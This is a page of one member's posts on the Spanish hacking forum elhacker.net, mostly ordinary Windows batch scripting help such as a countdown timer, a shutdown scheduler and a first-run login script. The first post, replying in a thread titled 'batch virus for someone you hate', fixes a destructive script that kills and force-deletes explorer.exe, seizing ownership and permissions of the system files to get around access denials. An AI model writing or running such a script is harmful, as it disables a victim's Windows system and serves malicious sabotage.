elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado:


  Mostrar Mensajes
Páginas: 1 ... 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 [1153] 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 ... 1254
11521  Programación / Scripting / Re: Batch virus para quien odias en: 8 Abril 2012, 17:24 pm
@ELVJop

No asegures que algo funciona sin haberlo probado en un PC/VBOX o sin saber lo que estás haciendo... Es un consejo.

El code no hace ningún bucle.
 Motivos:
- No has habilitado la expansion, Entonces la variable ERRORLEVEL no se comprueba.
- Aunque el archivo esté en uso, O el archivo no existe, El comando DEL no manda el código de error "1", De echo no manda ningún código de error en esos dos casos (Manda el "0") así que hay que hacer uso de "Find" o comprobar si el archivo sigue existiendo con "If exist".

 Aparte:
- El code no podría funcionar en una cuenta que no sea de administrador. (Sin privilegios).
- No es necesario hacer 2 versiones de un mismo code para la misma función xD.


Te lo modifico para que veas...

Código
  1. @Echo OFF
  2. Taskkill /F /IM "explorer.exe" 2>NUL
  3. Del /F /Q "%WINDIR%\explorer.exe", "%WINDIR%\System32\explorer.exe" | Find /I "Acceso denegado" >NUL
  4. IF %Errorlevel% EQU 0 (
  5. Takeown /F "%WINDIR%\explorer.exe" >NUL 2>&1
  6. Takeown /F "%WINDIR%\System32\explorer.exe" >NUL 2>&1
  7. Icacls "%WINDIR%\explorer.exe" /grant %username%:^(F^) >NUL 2>&1
  8. Icacls "%WINDIR%\System32\explorer.exe" /grant %username%:^(F^) >NUL 2>&1
  9. %0
  10. )

Salu2.
11522  Programación / Scripting / Re: Contador (cuenta atrás) en: 7 Abril 2012, 13:07 pm
críticas constructivas...
mejoras...

Si quieres mejorar el code puedes hacer de el una función (Además de simplificarlo). Aqui tienes un ejemplo:

Código
  1. :: Contador.bat
  2. :: By Elektro H@cker
  3. :: Visita Foro.ElHacker.Net
  4.  
  5. @Echo OFF
  6. Setlocal EnableDelayedexpansion
  7.  
  8. :Menu
  9. IF "%~1" EQU "" (
  10. Set /P "H=Horas: " && Set /P "M=Minutos: " && Set /P "S=Segundos: "
  11. Echo !H!!M!!S! | Findstr /I "[A-Z]" >NUL
  12.        IF !Errorlevel! EQU 0 (Goto :ERROR)
  13. ) Else (
  14. For /F "Tokens=1-3 delims=:" %%a in ('Echo %~1') Do (Set /A H=%%a, M=%%b, S=%%c) || (Goto :ERROR)
  15. )
  16.  
  17. :TimeLoop
  18. Cls
  19. For /F %%? in ('Echo %h%:%m%:%s%') Do (
  20. IF !H! LSS 0 (Goto :End)
  21. IF !S! EQU 0 (Set /A S=60, M-=1)
  22. IF !M! LSS 0 (Set /A H-=1, M=59, S=60)
  23. Set /A S-=1
  24. Echo Contador: %h%:%m%:%s%
  25. Ping -n 2 Localhost 1>Nul
  26. Goto :TimeLoop
  27. )
  28.  
  29. :Error
  30. Echo: Formato incorrecto. Vuelva a intentarlo...
  31. Exit /B 1
  32.  
  33. :End
  34. Echo Fin de la cuenta atras.
  35. Exit /B 0

Citar
Modo de empleo:

Contador.bat [Horas]:[Minutos]:[Segundos]
  • Ejemplo: Contador 1:0:59

Salu2.
11523  Programación / Scripting / Re: Problema código lectura de variable en el apagado en: 5 Abril 2012, 12:36 pm
ME degas un lick de donde empezaste a prender ese batch avanzado?

Empezé leyendo uno o dos tutoriales, Pero más que lectura han sido muchos años de práctica, Experiencia propia, Y ayuda cuando la necesité.

En Batch hay poco que aprender, Aquí puedes aprender lo más importante:
http://ss64.com/nt/syntax-args.html
http://ss64.com/nt/for.html
http://ss64.com/nt/if.html
http://ss64.com/nt/set.html
http://ss64.com/nt/call.html

Y aqui puedes analizar codes para aprender técnicas avanzadas:
Rob Van Der Woude
ss64

PD: Si prefieres tutoriales en castellano, Puedes usar el buscador del foro, Hay muchos.

Salu2.
11524  Programación / Scripting / Re: Problema código lectura de variable en el apagado en: 5 Abril 2012, 11:57 am
veras como no te funciona. PD: Le agregue pause>nul para que vieras el mensaje de error que te da la maquina de comandos.
La proxima vez que tenga una duda cojere el codigo raiz y no lo dire de memoria perdon. :P

El código funciona a la perfección, Solamente cambia "num" por "var", Como puse en el código de mi última respuesta

Salu2
11525  Programación / Scripting / Re: Problema código lectura de variable en el apagado en: 5 Abril 2012, 11:17 am
Que problemas tiene el mio?

A primera vista diría que el error está en "if /p var=" como ya te expliqué.
Si necesitas más ayuda pon el código entero aunque séa muy largo para examinarlo mejor

En teoria si ejecuto el segundo digo los minutos necesarios
No, No estás seteando ningún número ni haciendo ninguna comprobación del número, hazlo así:
Código
  1. @echo off
  2. echo.                         APAGADO DEL ORDENADOR
  3. echo Cuanto tiempo quiere que pase antes de que su ordenador se apague? (en minutos)
  4. Set /p var= Escribe el numero:
  5. Set /A var*=60
  6. cls
  7. echo Seguro que quiere continuar?
  8. pause>nul
  9. shutdown -s -f -t %var%

EDITO: Te recuerdo que el número debe ser en segundos, no puedes definir minutos en el comando shutdown.
11526  Programación / Scripting / Re: Problema código lectura de variable en el apagado en: 5 Abril 2012, 11:05 am
Es dificil averiguar donde está el problema sin el código entero.

1- if /p var=
    Ese comando dará error de sintaxis, No haces ninguna comprobación aunque tampoco sería la manera correcta de hacerlo, el parámetro "/P" es para setear.
Código:
    set /p var=
   No sé la intención tuya de esa linea así que no puedo ayudar mucho más.

2- Prueba expandiendo la variable VAR:
Código
  1. @Echo OFF
  2. Setlocal enabledelayedexpansion
  3. ...
  4. ...
  5. shutdown -s -f -t !var!

De todas formas te he hecho este code que hace la tarea más fácil sin tener que escribir 800 comprobaciones en el code :P

Código
  1. @Echo OFF
  2.  
  3. :Menu
  4. Cls
  5. Echo:                         APAGADO DEL ORDENADOR                        | MORE
  6. Echo: Cuantos minutos quiere que pase antes de que su ordenador se apague? | MORE
  7. Echo:   [*] Teclee el numero de minutos respectivo y pulse enter.          | MORE
  8. Echo:   [*] Teclee "0" si desea cancelar el apagado programado...          | MORE
  9. Set /P NUM= ^>^>
  10. IF NOT defined NUM (Goto :Menu)
  11. Echo "%NUM%" | Findstr /I "[A-Z]" >Nul
  12. IF NOT %Errorlevel% EQU 1 (Set "NUM=" & Goto :Menu) Else (Set /A NUM*=60)
  13.  
  14. :Shutdown
  15. If %NUM% EQU 0 (Shutdown -a 2>NUL) ELSE (Shutdown -S -F -T %NUM% & Set /A NUM/=60)
  16.  
  17. :Fin
  18. Cls
  19. If %NUM% EQU 0 (
  20. Echo: Se ha cancelado el apagado de su PC.
  21. ) ELSE (
  22. Echo: Se ha programado el apagado de su PC para dentro de %num% minutos.
  23. )

Salu2.

11527  Programación / Scripting / Re: [BATCH] Detectar primera ejecucion y guardar datos en: 5 Abril 2012, 10:26 am
Te hago un ejemplo:


Código
  1. @Echo OFF
  2. Title PassADM
  3. Color 0A
  4.  
  5. :Welcome
  6. Echo :: Bienvenido a PassADM :: | MORE
  7. For /F "Tokens=2 delims==" %%? IN ('Type %0 ^| Find ":USERLOGIN=" ^| Find /V "%%0"') DO (Echo Binvenido %%? & Goto :Program)
  8.  
  9. :Login
  10. Cls
  11. SET /P nameuser= Usuario:
  12. IF NOT defined nameuser (Goto :Login)
  13. Choice /M "Confirmar nombre de usuario"
  14. IF %Errorlevel% EQU 1 (Echo+ >>%0 & Echo :USERLOGIN=%Nameuser%>>%0) Else (Goto :Login)
  15.  
  16. :Program
  17. Echo Program test

Si lo quieres en un texto aparte, solo tienes que modificar el argumento %0

Salu2.
11528  Programación / Scripting / Re: [Batch] [APORTE] Clock (Alternativa a AT) en: 4 Abril 2012, 19:16 pm
si ejecuto el script para dentro de 8 horas, puedo trabajar tranquilamente en mi compu, hasta esa hora?

hmm yo pensé que te referias al bat, no al pc xD.

El bat se queda procesando el bucle sin poder hacer nada en esa instancia de la consola, Por lo demás si puedes trabajar tranquilamente en tu PC, siempre y cuando no estemos hablando de un pc con 32 mb de ram xD, No se ralentiza pero quizás debería haber puesto algún "ping" en el bat...

Salu2
11529  Programación / Scripting / Re: [Ruby] Buscador de sueños 0.1 en: 4 Abril 2012, 19:07 pm
lol xD, Desde luego es una app rara :P

La versión de Ruby no funciona como debería  :-\

Código:
[+] Texto : drogar y violar aliens xD

C:/Program Files (x86)/Ruby/lib/ruby/1.9.1/uri/common.rb:176:in `split': bad URI
(is not URI?): http://www.mis-suenos.org/interpretaciones/buscar?text=drogar y
violar aliens xD (URI::InvalidURIError)
        from C:/Program Files (x86)/Ruby/lib/ruby/1.9.1/uri/common.rb:211:in `pa
rse'
        from C:/Program Files (x86)/Ruby/lib/ruby/1.9.1/uri/common.rb:747:in `pa
rse'
        from 3.rb:15:in `toma'
        from 3.rb:25:in `<main>'

A ver si pudieras arreglarlo

PD: Estoy probando en windows, La versión de Python si que me responde.

Salu2!
11530  Sistemas Operativos / Windows / Re: explorer.exe se reinicia, imposible ejecutar nada y creo que he probado con todo en: 4 Abril 2012, 17:08 pm
Sigo intentando recalcar que reemplazar el archivo "explorer.exe" puede llegar a sanar el problema, Pues a mi en más de una ocasión me salvó hacer un backup del explorer.exe

Salu2!
Páginas: 1 ... 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 [1153] 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 ... 1254
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines